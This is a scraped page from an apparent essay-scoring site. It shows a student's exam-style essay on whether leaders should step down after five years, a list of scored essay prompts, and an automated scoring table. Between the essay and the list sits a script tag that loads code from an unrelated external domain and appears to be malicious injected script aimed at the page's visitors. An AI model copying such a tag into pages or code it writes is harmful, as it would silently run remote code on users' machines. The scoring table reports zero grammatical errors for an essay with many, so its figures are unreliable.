In any field—business, politics, education, government—those in power should step
down after five years.
To keep the ruling part of a system dynamic, societies substitute those in power in every certain period. Whether such a dynamic and change is always justifiable or not, it is hinged on the context in question. While it is absolutely required in the politics, in business or education, such a time limit is not always advisable.
In politics, it is necessary for a leader to be changed after a period. Regardless of the aptitude of the leaders, there are political parties need to have the opportunity to hold the power. Otherwise the government might be at risk of the political intrigues from those parties. In the United States of America, for instance, democrats and republicans are vying to rule with their own approaches. Consider the forfeiture of one of these parties forever and giving unlimited time for the president from the other party. The finish line should be set for the political power-holders, otherwise it would be sought surreptitiously.
In addition, the political system would develop its weaknesses intrinsically. The feeling of belonging to an office cannot be dismissed readily after passing most of the four or eight years in that post and ambiance. The president is prone to adopt the dictatorial attitude. Saddam Hussein was the president of Iraq for near 24 years. In the he 2002 referendum, Iraqi officials say President Saddam Hussein has won 100% backing in a referendum on whether he should rule for another seven years. For the sake of statistical significance he did not even reduced one percentage.
We concede to that time limitation because of the avoiding potential pitfalls in politics. Nevertheless, in the context of business or education, it would not be prudent to do so. First the incumbent leader might possess aptitude or he might be quite verified that remains no excuse in putting him or her aside. Furthermore, even the substitute is equally deserving, In order for a new leadership to settle down in a system there is a significant amount of dead time. Take business, for example. A business manager acts as the nexus between the whole parts of a system. When substitution takes place, all new connections should reestablish, priorities change and the manager should align others with the new strategies. This calls its own dead time, which might hold back the business from its rivals.
In short, transferring power from the one person to the other has its own advantages and disadvantages. In politics, it is justifiable since without putting such limitation the system might be compromised by corruption and dictatorship. However, in other fields like business or education, substituting a leader merely because of the time limitation is not prudent.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- If a goal is worthy, then any means taken to attain it are justifiable. 80
- Politicians should pursue common ground and reasonable consensus rather than elusive ideals. 80
- Humans arrived in the Kaliko Islands about 7,000 years ago, and within 3,000 years most of the large mammal species that had lived in the forests of the Kaliko Islands were extinct. Previous archaeological findings have suggested that early humans general 80
- 2. The president of Grove College has recommended that the college abandon its century-old tradition of all-female education and begin admitting men. Pointing to other all-female colleges that experienced an increase in applications after adopting coeduca 70
- Claim: Governments must ensure that their major cities receive the financial support they need in order to thrive.Reason: It is primarily in cities that a nation's cultural traditions are preserved and generated. 71
Attribute Value Ideal
Score: 5.0 out of 6
Category: Very Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 26 15
No. of Words: 445 350
No. of Characters: 2207 1500
No. of Different Words: 226 200
Fourth Root of Number of Words: 4.593 4.7
Average Word Length: 4.96 4.6
Word Length SD: 2.862 2.4
No. of Words greater than 5 chars: 163 100
No. of Words greater than 6 chars: 126 80
No. of Words greater than 7 chars: 87 40
No. of Words greater than 8 chars: 65 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 17.115 21.0
Sentence Length SD: 5.337 7.5
Use of Discourse Markers (%): 0.346 0.12
Sentence-Text Coherence: 0.255 0.35
Sentence-Para Coherence: 0.456 0.50
Sentence-Sentence Coherence: 0.092 0.07
Number of Paragraphs: 5 5